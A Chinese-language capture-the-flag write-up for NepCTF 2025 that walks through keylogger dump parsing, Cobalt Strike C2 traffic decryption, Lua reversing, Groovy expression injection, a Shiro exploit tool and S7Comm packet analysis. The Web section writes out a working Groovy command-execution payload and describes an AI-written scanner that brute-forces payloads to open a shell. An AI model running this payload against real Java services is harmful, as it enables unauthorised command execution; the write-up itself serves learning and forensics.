NepCTF 2025

NepCTF 2025
AristoreMisc
NepBotEvent
Challenge
最近总觉得 NepBot 不对劲,邀请函生成速度慢也就算了,以至于
/home/Nepnep/
目录下都被创建了flag.txt
,吓得他赶紧拔网线跑路。经过初步排查,Neper 在他的机器上发现了一个神秘的键盘记录器(Keylogger)残留痕迹!虽然恶意程序已被清除,但攻击者究竟掌握了哪些敏感信息?NepBOT 的账号有没有被窃?他的 “数据库” 是不是也暴露了?请你协助分析泄露的数据库名。flag 格式例如:
NepCTF{数据库名}
Solution
文件内容呈现出明显的重复的块状结构(如下图)。通过观察重复出现的字节序列,可以初步推断记录是定长的,并且长度为 24 字节。同时整个文件的大小为 30648 字节,发现 30648 能被 24 整除,这印证了前面的猜想,一个记录块的大小很可能是 24 字节。
文件开头有字节序列 B7 43 83 68
,这看起来像一个 32 位的数值。如果将其作为小端整数 0x688343B7
解析并尝试作为 Unix 时间戳转换,会得到一个日期 2025-07-25 16:43:37
。由于比赛开始时间为 2025-07-25 19:00:00
,很显然这个猜想也是正确的。因此这个二进制文件就是原始的 Linux 键盘事件流记录。
解析脚本如下:
1 | import struct |
下面是运行结果中的关键部分:
1 | --- 2025-07-25 16:44:23 --- |
拼起来即可得到 flag
1 | NepCTF{NepCTF-20250725-114514} |
客服小美
Challenge
2025 年的一个午后,客服小美满怀期待地点开了那封标题为 “关于 2025 年部分节假日安排” 的邮件,结果嘛…… 你懂的,套路来了!作为应急响应界的 “技术侦探”,现在轮到你出手啦!你的任务是找出被控机器的用户名、揪出那个偷偷通信的钓鱼木马地址,顺便看看有没有啥敏感信息被顺走。快来动动脑,展现你破案如神的本领吧!flag 格式例如:
NepCTF{xiaomei_8.8.8.8:11451_secret}
Solution
先找出恶意程序的文件名
然后找到目录
得到被控机器的用户名 JohnDoe
恶意文件关于2025年部分节假日安排的通知.exe
就在桌面 M:\forensic\files\ROOT\Users\JohnDoe\Desktop
用云沙箱分析奇安信情报沙箱、微步在线云沙箱,发现是 Cobalt Strike
分析流量得到 C2 服务器的 IP 192.168.27.132
,端口 12580
把这个进程的内存 dump 出来得到 pid.6492.dmp
找到这个开源项目 DidierStevensSuite/cs-extract-key.py at master · DidierStevens/DidierStevensSuite
用第 103 条流量的内容暴力破解找到下行通信的密钥组:
1 | python cs-extract-key.py -t 0253784ee86d3fc54693bb7ee14f40d64700446a4604ca0054103ba84e1a831d2a369c501e2a2522abdd9f5fe7652a16fd242669f6b10fb52e8b2b032a7ae00f6b25a8cecdffde72dadf1a18c1225f92 pid.6492.dmp |
输出:
1 | File: pid.6492.dmp |
上行通信使用另一套不同的密钥组,用同样的方法获取:
1 | python cs-extract-key.py -c 00000050350ca7f4379f30cc9d6d671db886d360691c74467156e60e8356725ae2f3b880b302ea8b5556df10324e86e53ecb84046646a1758e9cb8c7fca42d660617be467627abcc3c0ce3bd3e93c02fffcb4d3a pid.6492.dmp |
输出:
1 | File: pid.6492.dmp |
后面参考这篇文章 Cobalt Strike 流量解密 - 1cePeak,使用到的项目 WBGlIl/CS_Decrypt
hex 数据使用 base64 编码
再调用 CS_Task_AES_Decrypt.py
CS_Decrypt/CS_Task_AES_Decrypt.py at main · WBGlIl/CS_Decrypt 来解密执行的命令
1 | ''' |
运行得到:
1 | 数据总长度:80 |
发现这里启动一个新的 cmd.exe 进程,用它来读取并显示一个名为 secret.txt 的文件的内容,然后关闭这个 cmd.exe 进程
因此只要解密紧跟在 #103 之后的那个 POST 请求 #110 即可得到 secret.txt 的内容
解密 hex 数据,进行 base64 编码
然后再使用 Beacon_Task_return_AES_Decrypt.py
CS_Decrypt/Beacon_Task_return_AES_Decrypt.py at main · WBGlIl/CS_Decrypt 来解密
1 | # -*- coding: utf-8 -*- |
运行得到:
1 | counter:4 |
组合起来得到 flag:
1 | NepCTF{JohnDoe_192.168.27.132:12580_5c1eb2c4-0b85-491f-8d50-4e965b9d8a43} |
SpeedMino
Challenge
Welcome to SpeedMino! Reach 2600.00 to get FLAG
Also, there is a SECRET FLAG you need to REVERSE it.
Solution
其实就是个 zip 压缩包,解压之后拿到 main.lua 直接在此基础上修改代码,留下核心的解密部分稍微改改运行一下就出结果了
Lua 环境下载 [Download lua-5.4.2_Win64_bin.zip (LuaBinaries)](https://sourceforge.net/projects/luabinaries/files/5.4.2/Tools Executables/lua-5.4.2_Win64_bin.zip/download)
1 | local function KSA() |
运行得到 flag
1 | NepCTF{You_ARE_SpeedMino_GRAND-MASTER_ROUNDS!_TGLKZ} |
问卷
还以为是填完给 flag,结果瞎填完了没给 flag 倒回来看才发现 flag 在问卷开头。。。(orz 后来认真填了
1 | NepCTF{W3lcome2025NepCTF_SeeYouNexT2026!} |
Web
easyGooGooVVVY
Challenge
高松灯是一名 java 安全初学者,最近她在看 groovy 表达式注入。。。
Solution
这题 AI 一把梭了
让 AI 写一个脚本用于并发地测试一系列预设的 Groovy payload (这个也是让 AI 写的)尝试找到一个能够成功执行命令的 payload
一旦找到可用的 payload 就立即停止扫描,然后利用这个 payload 让我交互
1 | import asyncio |
拿到 shell 之后在环境变量找到 flag
1 | --- 开始并发扫描 Payload --- |
1 | flag{dd620e79-67c3-3db2-2a85-48560d35ec04} |
RevengeGooGooVVVY
Challenge
稍微模拟一下 real 环境。题目不出网,没有给出完整 jar,请根据题目环境和信息思考附件关联性并进行进一步探索。 有人指示我来复仇了 好想成为人类🐧🐧🐧好想成为人类🐧🐧🐧好想成为人类🐧🐧🐧好想成为人类🐧🐧🐧好想成为人类🐧🐧🐧好想成为人类🐧🐧🐧好想成为人类🐧🐧🐧好想成为人类🐧🐧🐧好想成为人类🐧🐧🐧好想成为人类🐧🐧🐧
Solution
还是那个 payload。。。难绷
1 | this.class.forName("java.lang.Runtime").getRuntime().exec("env").getText() |
1 | NepCTF{de5ab12d-d602-e757-2dfb-bd1f5bc9983c} |
JavaSeri
Challenge
路由带上 login.jsp
Solution
工具一把梭
1 | [++] 存在shiro框架! |
还是在环境变量
1 | flag{924a3f0d-e035-1180-be46-9bb33b215d03} |
ICS
Factory - 水罐 SIEM
Challenge
薯饼最近给开了 15 年的工厂产线接上了互联网,但似乎抠门的薯饼没有采购新的设备,因此他只能自己实现一个 SIEM。但是这个 SIEM 的准确度似乎欠佳。我们准备了一些流,你能帮助薯饼判断这些流是否是恶意的吗?
对于每一个报文,其给出格式如下
1 <depth><overflow><waterActuator><packet> 1BYTE 1BYTE 1BYTE nBYTEs 0x001f50 0x001f60 0x001f70其中 depth 为水罐的水深度传感器数值,overflow 为逻辑输出 “是否溢出”,waterActuator 为水闸开关,packet 为操作报文。
当认为某报文为恶意时,请输入 1,否则请输入 0
薯饼准备了功能 2,让你能够快速了解报文内容,请每次给他一个纯报文字符串(注意不含 depth 等前三字节),如下是一个输入例子。
1 b'\x03\x00\x00\x19\x02\xf0\x802\x01\x00\x00\x08\xfc\x00\x08\x00\x00\x1e\x01\x00\x00\x00\x00\x00\x01'特别地,薯饼的控制单元架号为 2300,存储的 DB 号为 1002。
Solution
也是给我抢到🩸了😋
水罐有水位 (depth)、溢出 (overflow)、水闸 (waterActuator) 三个状态
从题目暗示的 DB 号、架号和报文格式可以推断协议是 S7Comm
经过分析,一个报文被判定为恶意的依据与水罐的物理状态无关,恶意行为完全体现在其 S7Comm 协议的构造层面
以下是识别恶意报文的特征,一个报文只要满足其中任意一条就视为恶意
恶意特征 1:非法功能调用
- 规则: 报文的 COTP(面向连接的传输协议)参数字节不等于
0x80
。这个关键字节是服务器发来的完整数据流中的第 10 个字节(索引为 9)。 - 解释: 在标准的 S7 通信数据传输中,这个字节通常是
0x80
。在此题目中,出题人将0x81
到0x89
的值用作代表各种被禁止的特殊功能(如系统诊断、代码上传等)的标志。这是最高优先级的恶意特征。 - 恶意报文示例:
1 | # 第10个字节是 0x85 (正常应为 0x80) |
恶意特征 2:访问未授权内存区域
- 规则: 报文是一个标准数据包(COTP 参数为
0x80
),但其数据载荷中包含了 ASCII 字符串P_PROGRAM
。 - 解释:
P_PROGRAM
是西门子 PLC 中一个受保护的系统程序内存区。任何尝试直接读写该区域的通信都属于高危的未授权操作,意图篡改 PLC 的核心逻辑。 - 恶意报文示例:
1 | # 报文尾部包含了 P_PROGRAM 的ASCII码(505f50524f4752414d) |
恶意特征 3:特定长度的畸形短报文
- 规则: 报文是一个标准数据包(COTP 参数为
0x80
),且不含P_PROGRAM
,但其 TPKT 头中声明的总长度恰好为 25 字节 (\x00\x19
)。 - 解释: 这是最隐蔽的规则。在此题的流量中,存在两种看似一样的短
0x80
包。长度为 19 字节的包是正常的 ACK(确认)包,而长度恰好为 25 字节的包是一种恶意构造的、不完整的或用于探测的畸形报文。 - 恶意报文示例:
1 | # TPKT长度字段 (数据流第6、7字节) 的值是 0x0019 (25) |
任何不满足以上三条规则中任意一条的报文,都可以被视为正常。
1 | #!/usr/bin/env python3 |
1 | NepCTF{5f0aad89-eb5b-57f7-6d1e-7712871cad43} |
薯饼的 PLC
Challenge
薯饼在二手市场淘了一个十五年前的全新成色 PLC,他效仿 GeekLogic 在存储区里放了点东西。为了将这份喜悦分享出去,他将 PLC 映射到了互联网上。我们捕捉到了一段他通信时的流量,你能猜出他存了什么嘛?
Solution
唉,赛后做出来了,可惜晚了🥲😭😭😭先贴张提交正确的图
因为先在群里和薯饼师傅确认过了协议是 s7comm 所以才决定重做这道题
wireshark 没有分析出 s7comm,接下来用 tshark 强制解析
1 | tshark -r a.pcap -d tcp.port==11102,tpkt -O s7comm > a.txt |
下面是提取出来的 a.txt 的部分内容
1 | Frame 12: 103 bytes on wire (824 bits), 103 bytes captured (824 bits) |
发现客户端执行的唯一操作是 Read Var (读取变量),每次请求都只读取一个字节(BYTE 1),结合题目要求很容易想到接下来要做的就是把读取的变量按顺序排列拼接起来
再多翻几条流量发现客户端在循环读取两个主要数据块 DB 1002 和 DB 1003 中的变量,接下来拼接的时候得分开来
用脚本从 a.txt 中提取出所有 S7 通信的请求和响应,并将其保存到 plc_data.csv 文件中方便后续进一步的分析
1 | import re |
提取出来的文件长这样:
1 | Request Frame,Address Read,Response Frame,Value (Decimal) |
可以发现和前面观察到的结果是一致的,用脚本将数据按 DB 块分开,然后按地址排序,最后将数值转换成字符并拼接起来即可
1 | import csv |
运行结果如下:
1 | ✅ Data processed successfully. Here is the restored content: |
把 DB 1002 的内容二进制转 ASCII 就能拿到 flag 了(显然 DB 1003 的内容是没用的干扰数据),直接赛博厨子一把梭 From Binary - CyberChef
1 | NepCTF{81e76f18-a36e-f945-4e18-227b489923de} |